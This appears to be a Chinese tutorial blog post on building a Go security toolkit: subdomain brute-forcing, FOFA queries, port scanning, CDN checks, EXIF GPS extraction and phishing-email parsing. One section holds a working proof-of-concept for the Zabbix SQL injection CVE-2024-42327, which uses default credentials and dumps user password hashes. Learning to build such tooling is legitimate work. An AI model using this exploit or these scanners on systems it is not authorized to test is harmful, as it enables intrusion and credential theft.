-

子域名爆破

  • os.Open(filename) 打开文件,并使用 bufio.NewScanner(file) 逐行读取子域名。
  • 读取到的子域名前缀存入 subdomains 切片中,后续拼接完整域名进行查询。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
func loadSubdomains(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
return nil, err
}
defer file.Close()

var subdomains []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
subdomains = append(subdomains, scanner.Text())
}

return subdomains, scanner.Err()
}

先简单实现一个单线程爆破版本,以 baidu.com 为例

1
2
3
for _, subdomain := range subdomains {
domain := subdomain + ".baidu.com"
}
  • net 包的LookupHost函数实现 DNS 解析
1
2
3
4
5
6
7
8
9
func resolveSubdomain(subdomain string) {
addrs, err := net.LookupHost(subdomain)
if err != nil {
return
}
for _, addr := range addrs {
fmt.Printf("[+] %s -> %s\n", subdomain, addr)
}
}

image-20250213231442249

大概功能实现后我们可以继续优化

  1. 多线程

    ​ • 采用 goroutines 并行查询,提高爆破效率。

    ​ • 使用 sync.WaitGroup 确保所有任务执行完成后退出。

    ​ • 使用 channel 传递查询结果,防止数据竞争。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    var wg sync.WaitGroup
    maxthreads := 20
    sem := make(chan struct{}, maxthreads)

    for _, subdomain := range subdomains {
    domain := subdomain + ".baidu.com"
    wg.Add(1)
    go resolveSubdomain(domain, &wg, sem)
    }
  2. 超时控制

    DNS 查询可能卡住,可以用 context.WithTimeout() 限制时间:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    func resolveSubdomain(subdomain string) {
    ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
    defer cancel()
    addrs, err := net.DefaultResolver.LookupHost(ctx, subdomain)
    if err != nil {
    return
    }
    for _, addr := range addrs {
    fmt.Printf("[+] %s -> %s\n", subdomain, addr)
    }
    }
  3. 指定 DNS 服务器

    可指定 Google 公共 DNS 解析,提高准确率:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
    defer cancel()
    resolver := net.Resolver{
    PreferGo: true,
    Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
    d := net.Dialer{Timeout: 3 * time.Second}
    return d.DialContext(ctx, network, "8.8.8.8:53")
    },
    }

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package main

import (
"bufio"
"fmt"
"golang.org/x/net/context"
"net"
"os"
"sync"
"time"
)

func loadSubdomains(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
return nil, err
}
defer file.Close()

var subdomains []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
subdomains = append(subdomains, scanner.Text())
}

return subdomains, scanner.Err()
}

func resolveSubdomain(subdomain string, wg *sync.WaitGroup, sem chan struct{}) {
defer wg.Done()
sem <- struct{}{}
defer func() { <-sem }()
ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
defer cancel()
resolver := net.Resolver{
PreferGo: true,
Dial: func(ctx context.Context, network, address string) (net.Conn, error) {
d := net.Dialer{Timeout: 3 * time.Second}
return d.DialContext(ctx, network, "8.8.8.8:53")
},
}
addrs, err := resolver.LookupHost(ctx, subdomain)
if err != nil {
return
}
for _, addr := range addrs {
fmt.Printf("[+] %s -> %s\n", subdomain, addr)
}
}

func main() {
subdomains, err := loadSubdomains("subdomains.txt")
if err != nil {
panic(err)
}
var wg sync.WaitGroup
maxthreads := 20
sem := make(chan struct{}, maxthreads)

for _, subdomain := range subdomains {
domain := subdomain + ".baidu.com"
wg.Add(1)
go resolveSubdomain(domain, &wg, sem)
}
wg.Wait()
// 计算时间
start := time.Now()
fmt.Println("Time:", time.Since(start))
}

导出文件

输出结果回显在前端直观,但是不好操作数据,所以我们可以添加一个导出功能,我更偏向于导出 csv 文件,设计两个字段,一个域名,一个对应的 ip,这里只保留 ipv4,使用的是 gocsv

1
go get -u github.com/gocarina/gocsv
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
type ExportedSubdomain struct {
Name string `csv:"域名"`
IP string `csv:"IP"`
Time string `csv:"时间"`
}

func ExportResults(s *Subdomain) error {
filename := s.Domain + ".csv"
file, err := os.OpenFile("./output/subdomain/"+filename, os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
panic(err)
}
defer file.Close()
subdomains := []*ExportedSubdomain{}
// 遍历 s.Results,将结果转换为 ExportedSubdomain 结构体
for _, result := range s.Results {
result = strings.TrimPrefix(result, "[+] ")
parts := strings.Split(result, " -> ")
subdomains = append(subdomains, &ExportedSubdomain{
Name: parts[0],
IP: parts[1],
Time: time.Now().Format("2006-01-02 15:04:05"),
})
}
err = gocsv.MarshalFile(&subdomains, file) // Use this to save the CSV back to the file
if err != nil {
panic(err)
}
return nil
}

进度条实时更新

这就要用到 Events 事件 来侦听了。

后端

1
runtime.EventsEmit(s.ctx, "subdomain-progress", percentage)

前端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 在组件挂载时开始监听事件
onMounted(() => {
EventsOn('subdomain-progress', (percentage) => {
console.log(9999)
console.log(percentage)
progress.value = percentage
})

EventsOn('subdomain-done', (time) => {
console.log('Scanning done in', time)
loading.value = false
})
})

// 在组件卸载时停止监听事件
onUnmounted(() => {
EventsOff('subdomain-progress')
EventsOff('subdomain-done')
})

调用 fofa api

获取用户信息

查一下 fofa 官方文档 https://fofa.info/api/info

image-20250308155838868

1
2
3
4
type Fofa_Client struct {
email string
key string
}

再写一个实现方法

1
2
3
4
5
6
func New_Fofa_Client(email string, key string) *Fofa_Client {
return &Fofa_Client{
email: email,
key: key,
}
}

官网给的响应实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
{
"error": false, // 是否出现错误
"email": "fo****t@baimaohui.net", // 邮箱地址:
"username": "fofabot", // 用户名
"category": "user", // 用户种类
"fcoin": 0, // F币
"fofa_point": 49200, // F点
"remain_free_point": 0, // 剩余免费F点
"remain_api_query": 49992, // API月度剩余查询次数
"remain_api_data": 499398, // API月度剩余返回数量
"isvip": true, // 是否是会员
"vip_level": 12, // page.api.whether.level
"is_verified": false,
"avatar": "https://nosec.org/missing.jpg",
"message": "",
"fofacli_ver": "4.0.3",
"fofa_server": true
}

定义接收类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
type Fofa_API_Info struct {
Error bool `json:"error"`
Email string `json:"email"`
Username string `json:"username"`
Category string `json:"category"`
Fcoin int `json:"fcoin"`
FofaPoint int `json:"fofa_point"`
RemainFreePoint int `json:"remain_free_point"`
RemainApiQuery int `json:"remain_api_query"`
RemainApiData int `json:"remain_api_data"`
Isvip bool `json:"isvip"`
VipLevel int `json:"vip_level"`
IsVerified bool `json:"is_verified"`
Avatar string `json:"avatar"`
Message string `json:"message"`
FofacliVer string `json:"fofacli_ver"`
FofaServer bool `json:"fofa_server"`
}

实现方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
func (fofa_client *Fofa_Client) API_Info() (*Fofa_API_Info, error) {
BaseURL := "https://fofa.info/api/v1/"
url := BaseURL + "info/my"

client := req.C()
res, err := client.R().SetQueryParams(map[string]string{
"email": fofa_client.email,
"key": fofa_client.key,
}).Get(url)

if err != nil {
return nil, err
}
var ret Fofa_API_Info
err = json.Unmarshal(res.Bytes(), &ret)
if err != nil {
return nil, err
}
return &ret, nil

}

完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package main

import (
"encoding/json"
"fmt"
"github.com/imroc/req/v3"
)

type Fofa_Client struct {
email string
key string
}

type Fofa_API_Info struct {
Error bool `json:"error"`
Email string `json:"email"`
Username string `json:"username"`
Category string `json:"category"`
Fcoin int `json:"fcoin"`
FofaPoint int `json:"fofa_point"`
RemainFreePoint int `json:"remain_free_point"`
RemainApiQuery int `json:"remain_api_query"`
RemainApiData int `json:"remain_api_data"`
Isvip bool `json:"isvip"`
VipLevel int `json:"vip_level"`
IsVerified bool `json:"is_verified"`
Avatar string `json:"avatar"`
Message string `json:"message"`
FofacliVer string `json:"fofacli_ver"`
FofaServer bool `json:"fofa_server"`
}

func New_Fofa_Client(email string, key string) *Fofa_Client {
return &Fofa_Client{
email: email,
key: key,
}
}

func (fofa_client *Fofa_Client) API_Info() (*Fofa_API_Info, error) {
BaseURL := "https://fofa.info/api/v1/"
url := BaseURL + "info/my"

client := req.C()
res, err := client.R().SetQueryParams(map[string]string{
"email": fofa_client.email,
"key": fofa_client.key,
}).Get(url)

if err != nil {
return nil, err
}
var ret Fofa_API_Info
err = json.Unmarshal(res.Bytes(), &ret)
if err != nil {
return nil, err
}
return &ret, nil

}
func main() {
client := New_Fofa_Client("xxxx@qq.com", "xxxxxx")
info, err := client.API_Info()
if err != nil {
panic(err)
} else {
fmt.Println(
"Email:", info.Email,
"Username:", info.Username,
)
}
}

获取主机信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
type Fofa_Info_Search_Host struct {
Error bool `json:"error"`
Size int `json:"size"`
Page int `json:"page"`
Mode string `json:"mode"`
Query string `json:"query"`
Results [][]string `json:"results"`
}



func New_Fofa_Info_Search(q string) *Fofa_Info_Search {
return &Fofa_Info_Search{
Qbase64: q,
Fields: "no",
Page: 1,
Size: 5,
Full: false,
}
}

func (fofa_client *Fofa_Client) Info_Search(q string) (*Fofa_Info_Search_Host, error) {
BaseURL := "https://fofa.info/api/v1/"
url := BaseURL + "search/all"

client := req.C()
res, err := client.R().SetQueryParams(map[string]string{
"email": fofa_client.email,
"key": fofa_client.key,
"qbase64": q,
}).Get(url)

if err != nil {
return nil, err
}
var ret Fofa_Info_Search_Host
err = json.Unmarshal(res.Bytes(), &ret)
if err != nil {
return nil, err
}
return &ret, nil
}

端口探测

原理还是基于 TCP 的三次握手

image-20250331164528064

简单理解TCP三次握手四次挥手(看一遍你就懂)

TCP握手有三个过程。首先,客户端发送一个SYN探测包,如果客户端收到连接超时,说明该端口可能在防火墙后面。如果服务端应答syn-ack 包,意味着这个端口是打开的,否则会返回rst包,最后,客户端需要另外发送一个ack包。从这时起,客户端与服务端就已经建立连接。

TCP端口探测的实现,比较简单,原生的net包就有自带的方法,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package main

import (
"fmt"
"net"
"time"
)

func PortScan(ip, port string) {
// TODO
addr := fmt.Sprintf("%s:%s", ip, port)
conn, err := net.DialTimeout("tcp", addr, time.Second*3)
if err != nil {
fmt.Println("端口未开放")
return
}
fmt.Println("端口开放")
defer conn.Close()
}

func main() {
PortScan("47.96.183.72", "80")
}

这里使用了net包的DialTimeout方法,该方法第一个参数接收协议名称,这里用的是tcp,第二个参数是ip和端口,需要按照ip:port的格式拼接,第三个参数是超时时间,这里设置了3秒,表示如果超过三秒对端没有回应则不会继续等待。

接下来就是多线程优化了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package main

import (
"fmt"
"net"
"strconv"
"sync"
"time"
)

func PortScan(ip string, port int, wg *sync.WaitGroup, sem chan struct{}) {
defer wg.Done()
sem <- struct{}{} // sem 容量未满(maxthreads 个槽位),允许新的 goroutine 运行
defer func() { <-sem }() // 释放占用的槽位,允许新的 goroutine 进入。defer 保证 PortScan无论执行成功还是失败, goroutine 运行结束后释放槽位
addr := fmt.Sprintf("%s:%s", ip, strconv.Itoa(port))
conn, err := net.DialTimeout("tcp", addr, time.Second*1)

if err != nil {
fmt.Println("端口" + strconv.Itoa(port) + "关闭")
return
}
fmt.Println("端口" + strconv.Itoa(port) + "开放")
defer conn.Close()
OpenPorts = append(OpenPorts, port)
}

var OpenPorts []int

func main() {
var wg sync.WaitGroup
topPorts := [...]int{21, 22, 23, 25, 80, 443, 8080,
110, 135, 139, 445, 389, 489, 587, 1433, 1434,
1521, 1522, 1723, 2121, 3306, 3389, 4899, 5631,
5632, 5800, 5900, 7071, 43958, 65500, 4444, 8888,
6789, 4848, 5985, 5986, 8081, 8089, 8443, 10000,
6379, 7001, 7002}
maxthreads := 20 // 20个线程
sem := make(chan struct{}, maxthreads)
start := time.Now()
for _, port := range topPorts {
wg.Add(1)
go PortScan("47.96.183.72", port, &wg, sem)
}
wg.Wait()
fmt.Println("开放端口:", OpenPorts)
end := time.Since(start)
fmt.Println("花费的总时间:", end)
}

POC 检测

这里打算用 cve-2024-42327Zabbix SQL注入漏洞来演示。

网站搭建:https://mp.weixin.qq.com/s/ateGftMa4aCheSNYHarH1Q

默认账号密码为:

1
Admin/zabbix

抓一个登录包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /api_jsonrpc.php HTTP/1.1
Host: 47.96.183.72:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14.3) AppleWebKit/616.24 (KHTML, like Gecko) Version/17.2 Safari/616.24
Connection: keep-alive
Content-Type: application/json-rpc
Accept-Encoding: gzip, deflate, br
Content-Length: 119

{
"jsonrpc": "2.0",
"method": "user.login",
"params": { "username": "Admin", "password": "zabbix" },
"id": 1
}

image-20250407163640347

拿到result的值后,使用第二个数据包,将auth的值改为result的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api_jsonrpc.php HTTP/1.1
Host: 47.96.183.72:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.9.25
Connection: keep-alive
Content-Type: application/json-rpc
Accept-Encoding: gzip, deflate, br
Content-Length: 182

{
"jsonrpc": "2.0",
"method": "user.get",
"params": { "selectRole": ["roleid, u.passwd", "roleid"], "userids": "1" },
"auth": "7287bcdd769236ffbaddb8df16ff47e3",
"id": 2
}

image-20250407163820417

可以通过更改userids的值,来遍历其他用户,selectRole参数可控,直接在后面加上sql语句,即可执行

image-20250407164349712

知道漏洞原理就能来编写 go 脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
package main

import (
"fmt"
"github.com/imroc/req/v3"
"github.com/tidwall/gjson"
"strconv"
)

type CVE_2024_42327_Para1 struct {
Jsonrpc string `json:"jsonrpc"`
Method string `json:"method"`
Params struct {
Username string `json:"username"`
Password string `json:"password"`
} `json:"params"`
Id int `json:"id"`
}

type CVE_2024_42327_Para2 struct {
Jsonrpc string `json:"jsonrpc"`
Method string `json:"method"`
Params struct {
SelectRole []string `json:"selectRole"`
Userids string `json:"userids"`
} `json:"params"`
Auth string `json:"auth"`
Id int `json:"id"`
}

type Poc struct {
Name string
Url string
}

var client = req.C()

func (Poc *Poc) CVE_2024_42327() {
// 账号密码登录
url := "http://" + Poc.Url + "/api_jsonrpc.php"
Para1 := CVE_2024_42327_Para1{
Jsonrpc: "2.0",
Method: "user.login",
Params: struct {
Username string `json:"username"`
Password string `json:"password"`
}{
Username: "admin",
Password: "zabbix",
},
Id: 1,
}
// 创建客户端
client.SetCommonHeaders(map[string]string{
"Content-Type": "application/json-rpc",
})
// 发送第一次请求
resp, err := client.R().SetBodyJsonMarshal(&Para1).Post(url)
if err != nil {
fmt.Println("登录失败", err)
return
}
get := gjson.Get(resp.String(), "result").String()

if get == "" {
fmt.Println("登录失败", err)
return
}
// 遍历用户id
for i := 0; i < 10; i++ {
Para2 := CVE_2024_42327_Para2{
Jsonrpc: "2.0",
Method: "user.get",
Params: struct {
SelectRole []string `json:"selectRole"`
Userids string `json:"userids"`
}{
SelectRole: []string{"roleid, u.passwd,user()", "roleid"},
Userids: strconv.Itoa(i),
},
Auth: get,
Id: 2,
}
// 发送第二次请求
resp, err := client.R().SetBodyJsonMarshal(&Para2).Post(url)
if err != nil {
fmt.Println("请求失败", err)
return
}
result := gjson.Get(resp.String(), "result")
if result.Exists() && result.IsArray() { //IsArray是判断是否是数组
// 遍历结果数组
for _, user := range result.Array() {
username := user.Get("username").String()
name := user.Get("name").String()
surname := user.Get("surname").String()
userID := user.Get("userid").String()
rolePasswd :=
user.Get("role.passwd").String()
sqlInjectionUser := user.Get("role.user()").String()
// 打印每个⽤户信息以及数据库 user
fmt.Printf("%s, %s, %s, %s, %s,%s\n", username,
name, surname, userID, rolePasswd, sqlInjectionUser)
}
} else {
fmt.Printf("No result found for user ID %d\n", i)
}

}
}

func main() {
Poc := Poc{
Name: "CVE-2024-42327",
Url: "47.96.183.72:8080",
}
Poc.CVE_2024_42327()
}

CDN 解析

这里我们没有那么多服务器,所以还是调一下第三方接口

https://uutool.cn/cdn-check/, 抓包获取他们的服务器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
"https://ips-app-vrdhcyxprn.us-west-1.fcapp.run":      "美国-硅⾕",
"https://ips-app-vrdhcyxprn.ap-southeast-5.fcapp.run": "新加坡",
"https://ips-app-vrdhcyxprn.eu-west-1.fcapp.run": "欧洲-伦敦",
"https://ips-app-vrdhcyxprn.eu-central-1.fcapp.run": "欧洲-法兰克福",
"https://ips-app-vrdhcyxprn.ap-southeast-7.fcapp.run": "印度尼⻄亚-雅加达",
"https://ips-app-vrdhcyxprn.ap-southeast-1.fcapp.run": "印度尼⻄亚-雅加达",
"https://ips-app-vrdhcyxprn.ap-southeast-3.fcapp.run": "印度尼⻄亚-雅加达",
"https://ips-app-nnrrqmtriz.cn-shenzhen.fcapp.run": "中国-深圳",
"https://ips-app-vrdhcyxprn.cn-chengdu.fcapp.run": "中国-成都",
"https://ips-app-nnrrjaztiz.cn-hangzhou.fcapp.run": "中国-杭州",
"https://ips-app-vrdhcyxprn.cn-zhangjiakou.fcapp.run": "中国-张家⼝",
"https://ips-app-vrdhcyxprn.ap-northeast-2.fcapp.run": "韩国-⾸尔",
"https://ips-app-nnrrjaztiz.cn-beijing.fcapp.run": "中国-北京",
"https://ips-app-vrdhcyxprn.cn-huhehaote.fcapp.run": "中国-呼和浩特",
"https://ips-app-nnrrjaztiz.cn-hongkong.fcapp.run": "中国-⾹港",
"https://ips-app-nnrrjaztiz.cn-qingdao.fcapp.run": "中国-⻘岛",

该网站 响应IP数量:2 ,说明最多返回两个 ip,这一点接收返回值的时候要考虑进去,因为有这么多服务器,所以我们用多线程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
package main

import (
"fmt"
"github.com/imroc/req/v3"
"strings"
"sync"
"time"
)

type CDNResult struct {
Region string
Status string
IPCount int
IPList []string
}

func main() {
ip := "baidu.com"
CdnIp := map[string]string{
"https://ips-app-vrdhcyxprn.us-west-1.fcapp.run": "美国-硅⾕",
"https://ips-app-vrdhcyxprn.ap-southeast-5.fcapp.run": "新加坡",
"https://ips-app-vrdhcyxprn.eu-west-1.fcapp.run": "欧洲-伦敦",
"https://ips-app-vrdhcyxprn.eu-central-1.fcapp.run": "欧洲-法兰克福",
"https://ips-app-vrdhcyxprn.ap-southeast-7.fcapp.run": "印度尼⻄亚-雅加达",
"https://ips-app-vrdhcyxprn.ap-southeast-1.fcapp.run": "印度尼⻄亚-雅加达",
"https://ips-app-vrdhcyxprn.ap-southeast-3.fcapp.run": "印度尼⻄亚-雅加达",
"https://ips-app-nnrrqmtriz.cn-shenzhen.fcapp.run": "中国-深圳",
"https://ips-app-vrdhcyxprn.cn-chengdu.fcapp.run": "中国-成都",
"https://ips-app-nnrrjaztiz.cn-hangzhou.fcapp.run": "中国-杭州",
"https://ips-app-vrdhcyxprn.cn-zhangjiakou.fcapp.run": "中国-张家⼝",
"https://ips-app-vrdhcyxprn.ap-northeast-2.fcapp.run": "韩国-⾸尔",
"https://ips-app-nnrrjaztiz.cn-beijing.fcapp.run": "中国-北京",
"https://ips-app-vrdhcyxprn.cn-huhehaote.fcapp.run": "中国-呼和浩特",
"https://ips-app-nnrrjaztiz.cn-hongkong.fcapp.run": "中国-⾹港",
"https://ips-app-nnrrjaztiz.cn-qingdao.fcapp.run": "中国-⻘岛",
}

client := req.C()
client.SetTimeout(5 * time.Second) // 设置超时时间为5秒
reqChan := make(chan CDNResult, len(CdnIp)) // 使用缓冲通道
var wg sync.WaitGroup

// 启动一个goroutine来等待所有请求完成并关闭channel
go func() {
wg.Wait()
close(reqChan)
}()

for url, region := range CdnIp {
wg.Add(1)
go func(url, region string) {
defer wg.Done()

// 为每个请求创建新的请求实例
req := client.R()
result := CDNResult{
Region: region,
Status: "检测失败", // 默认状态
}
req.SetQueryParam("domain", ip)

resp, err := req.Get(url)
if err != nil {
fmt.Printf("请求 %s 失败: %v\n", region, err)
reqChan <- result
return
}

if resp.String() != "" {
result.IPList = strings.Split(resp.String(), ",")
result.IPCount = len(result.IPList)
result.Status = "检测成功"
}
reqChan <- result
}(url, region)
}

// 收集结果并统计
successCount := 0
for result := range reqChan {
ipListStr := "-"
if len(result.IPList) > 0 {
ipListStr = strings.Join(result.IPList, ", ")
if len(ipListStr) > 37 {
ipListStr = ipListStr[:34] + "..."
}
}
ipCount := "-"
if result.Status == "检测成功" {
ipCount = fmt.Sprintf("%d", result.IPCount)
successCount++
}
fmt.Println(result.Region, result.Status, ipListStr, ipCount)
}

fmt.Println("+------------+----------+---------------------------------------+------------+")
if successCount == 0 {
fmt.Println("所有节点检测失败")
} else {
fmt.Printf("成功检测到 %d 个节点 (共 %d 个节点)\n", successCount, len(CdnIp))
}
}

EXIF 信息获取

Exif是⼀种图像⽂件格式,实际上Exif格式就是在JPEG格式头部插⼊了数码照⽚的信息,包括拍摄时的光圈、快⻔、⽩平衡、ISO、焦距、⽇期时间等各种和拍摄条件以及相机品牌、型号、⾊彩编码、拍摄时录制的声⾳以及GPS全球定位系统数据、缩略图等。你可以利⽤任何可以查看JPEG⽂件的看图软件浏览Exif格式的照⽚,但并不是所有的图形程序都能处理Exif信息。

EXIF元信息被组织成⼀个图像中的不同图像⽂件⽬录(IFD)。这些IFD的名称与ExifTool系列1组的名称相对应。写⼊EXIF信息时,除⾮指定了另⼀个组,否则将使⽤下⾯列出的默认组。

创建新的IFD时,可以使⽤默认值⾃动添加强制标签(在Writable类型之后⽤冒号表示),如果仅保留默认值的强制标签,则在删除标签时会⾃动删除IFD。

安装 goexif 库

1
go get -u github.com/rwcarlsen/goexif/exif

解析 EXIF 格式图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
func main() {
fname := "sample.jpg"
f, err := os.Open(fname)
if err != nil {
log.Fatal(err)
}

// 注册相机makernote解析器
exif.RegisterParsers(mknote.All...)

x, err := exif.Decode(f)
if err != nil {
log.Fatal("解析Exif失败", err)
}
tm, _ := x.DateTime()
fmt.Println("Taken: ", tm)
// 获得经纬度
lat, long, err := x.LatLong()
fmt.Println(lat, long)
}

获取了经纬度我们可以利用高德获取地理位置https://lbs.amap.com/api/webservice/guide/api/georegeo#t5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
package main

import (
"encoding/json"
"fmt"
"github.com/imroc/req/v3"
"github.com/rwcarlsen/goexif/exif"
"github.com/rwcarlsen/goexif/mknote"
"log"
"os"
"strconv"
)

type GDResponse struct { // 修改结构体名称避免冲突
Status string `json:"status"`
Info string `json:"info"`
Regeocode struct {
FormattedAddress string `json:"formatted_address"`
} `json:"regeocode"`
}

func GetLatLong(latitude, longitude float64) string {
// 注意:高德地图API要求"经度,纬度"顺序
formattedLongitude := strconv.FormatFloat(longitude, 'f', 6, 64)
formattedLatitude := strconv.FormatFloat(latitude, 'f', 6, 64)
return formattedLongitude + "," + formattedLatitude
}

func main() {
fname := "sample.jpg"
f, err := os.Open(fname)
if err != nil {
log.Fatal(err)
}
defer f.Close() // 记得关闭文件

// 注册相机makernote解析器
exif.RegisterParsers(mknote.All...)

x, err := exif.Decode(f)
if err != nil {
log.Fatal("解析Exif失败: ", err)
}

tm, _ := x.DateTime()
fmt.Println("Taken: ", tm)

// 获得经纬度
lat, long, err := x.LatLong()
if err != nil {
log.Fatal("获取经纬度失败: ", err)
}

latLong := GetLatLong(lat, long)

// 高德地图 key
ak := "*****"
client := req.C()
request := client.R()
request.SetQueryParams(map[string]string{
"key": ak,
"location": latLong,
})
response, err := request.Get("https://restapi.amap.com/v3/geocode/regeo")
if err != nil {
log.Fatal("高德地图API请求失败: ", err)
}

var gdResp GDResponse // 使用不同的变量名
if response.IsSuccessState() {
if err := json.Unmarshal(response.Bytes(), &gdResp); err != nil {
log.Fatal("高德地图API解析失败: ", err)
}
if gdResp.Status == "1" {
fmt.Println("高德地图解析成功, 地理位置为: " + gdResp.Regeocode.FormattedAddress)
} else {
log.Fatal("高德地图解析失败: ", gdResp.Info)
}
}
}

image-20250416212512961

EML 信息获取

.eml是⼀种电⼦邮件⽂件格式,它包含完整的电⼦邮件内容,包括发件⼈、收件⼈、主题、正⽂、附件、⽇期等信息。EML是由microsoft公司过邮件客户端导⼊来查看和编辑。

我们可以利用这个来查询钓鱼邮件信息

1
go get -u github.com/DusanKasan/parsemail

github下一个钓鱼邮件做案例

https://github.com/rf-peixoto/phishing_pot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package main

import (
"fmt"
"github.com/DusanKasan/parsemail"
"io"
"os"
)

func main() {
file, err := os.Open("/Users/she11f/Desktop/sample.eml")
if err != nil {
fmt.Println("Error opening file:", err)
return
}
defer file.Close()
var reader io.Reader = file
// 解析邮件
email, err := parsemail.Parse(reader)
if err != nil {
fmt.Println("Error parsing email:", err)
}
fmt.Println("From:", email.From)
}

返回值解析

image-20250418211729543

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package main

import (
"fmt"
"log"
"os"
"strings"

"golang.org/x/net/html"

"github.com/DusanKasan/parsemail"
)

// 提取 <a href=""> 链接和锚文本
type LinkInfo struct {
Href string
Text string
}

// 从 HTML 中提取所有链接
func extractLinksFromHTML(htmlContent string) []LinkInfo {
doc, err := html.Parse(strings.NewReader(htmlContent))
if err != nil {
log.Println("HTML 解析失败:", err)
return nil
}

var links []LinkInfo
var f func(*html.Node)
f = func(n *html.Node) {
if n.Type == html.ElementNode && n.Data == "a" {
var href string
for _, attr := range n.Attr {
if attr.Key == "href" {
href = strings.TrimSpace(attr.Val)
break
}
}
if href != "" && (strings.HasPrefix(href, "http://") || strings.HasPrefix(href, "https://")) {
text := extractText(n)
links = append(links, LinkInfo{Href: href, Text: text})
}
}
// 递归
for c := n.FirstChild; c != nil; c = c.NextSibling {
f(c)
}
}
f(doc)

return links
}

// 提取 <a> 标签中的纯文本(锚文本)
func extractText(n *html.Node) string {
if n.Type == html.TextNode {
return n.Data
}
var result string
for c := n.FirstChild; c != nil; c = c.NextSibling {
result += extractText(c)
}
return strings.TrimSpace(result)
}

func main() {
// 打开 .eml 文件
f, err := os.Open("/Users/she11f/Desktop/sample-1088.eml")
if err != nil {
log.Fatal("无法打开文件:", err)
}
defer f.Close()

// 解析邮件
email, err := parsemail.Parse(f)
if err != nil {
log.Fatal("解析邮件失败:", err)
}

// 基础信息
fmt.Printf("发件人: %s \n", email.From)
fmt.Println("收件人:")
for _, to := range email.To {
fmt.Printf(" - %s <%s>\n", to.Name, to.Address)
}
fmt.Println("主题:", email.Subject)
fmt.Println("发送时间:", email.Date)

// 提取链接
fmt.Println("\n[提取到的链接]:")
links := extractLinksFromHTML(email.HTMLBody)
for _, link := range links {
fmt.Printf("- 链接: %s\n", link.Href)
if link.Text != "" && !strings.Contains(link.Href, link.Text) {
fmt.Printf(" ⚠️ 可能伪装: 显示为 [%s] 实际跳转 [%s]\n", link.Text, link.Href)
}
}
}